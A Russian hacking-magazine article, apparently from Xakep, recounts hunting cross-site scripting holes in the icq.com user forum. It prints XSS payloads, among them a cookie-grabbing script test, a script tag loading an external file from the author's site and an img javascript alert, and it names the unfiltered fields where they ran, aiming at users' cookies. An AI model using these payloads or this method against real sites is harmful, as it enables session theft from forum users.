Имеем пользователей icq.com

PinkPanther

Хакер, номер #083, стр. 083-060-2

Продолжая свои исследования, я залез на форум. Авторизация проще некуда, что меня очень обрадовало. Для авторизации нужно ввести в поле «Логин» свой уин или примари, в поле «Пароль» - свой пароль к уину (который, как ты понимаешь, очень часто подходит и к примари). Уже интересно, теперь осталось только найти CSS дырку в форуме.

Скажу честно, я чуть со смеху не умер после первого теста на CSS. Даже не успел копнуть bb-тэги, как уязвимый параметр был найден. Им оказалось поле Subject при ответе в теме. В режиме preview ничего не фильтровалось, что уже предвещало большие возможности. Проверив на себе действие составленного скриптового сплоита (пока локального): "><script>alert(document.cookie)</script>, на моем лице появилась улыбка.

Я словил собственные кукисы, которые выглядели, как показано на рисунке 3.

Таким образом, я убедился в том, что все проходит более-менее успешно. Но при окончательном посте сообщения, просмотрев сорс страницы, я увидел, что фильтруется любое проявление слэшей и двойных кавычек:

title=""><script src=http://my_site/1.js></script>">………" >"><script src=http://my_site/1.js></sc...</a>

Планы рушатся. Максимум, что тут можно сделать - вставить алерт, например: <img src=javascript:alert('Pink_cool')>, но ничего более серьезного отсюда не выжать. Не помог обход фильтрации и разнообразная перекодировка слэша и кавычек.

[новая маза]

Тут я заметил одну штуку: если кликнуть на название своего поста или просмотреть список всех своих постов, можно словить вставленную CSS. Меня такое не устраивало, тем более, что второй параметр в заголовке сообщения полностью фильтровался, и поэтому над своим ником я видел отображенный скрипт, по которому и стоило кликать :).

Пришлось начать поиски других уязвимостей. Оставив в покое «Ответ в тему с цитированием», я нажал кнопку «Начать новую тему». Вот тут, в режиме preview, в поле Subject/Question не работал ни один скрипт, все жестко фильтровалось. Немного отчаявшись, я все же запостил тему. В списке всех тем, в разделе, я увидел, что мой скрипт выдает себя с головой. Ну что ж, работают фильтры.

Я автоматом кликнул на тему, началась загрузка, и, о чудо, скрипт сработал! Никаких фильтров внутри темы не оказалось и нужная активная CSS была найдена. Конечно, очень обламывало, что в списке тем моя сильно палилась, названием которой выступал мой скриптовый сплоит. Но с этим, к сожалению, ничего не поделать, ведь даже при переводе его в другую кодировку, чтоб хоть немного запутать пользователей, скрипт в теме работать не хотел.

Такая вот забавная фильтрация, и такие вот глупые админы. Но, как ты понимаешь, красть кукисы смысла нет, так как в чистом виде мы получаем только уин (примари) и ник, но не пароль, а вытягивать его, например, из сессии нереально, так как скорее всего ее идентификатор никак не связан с паролем.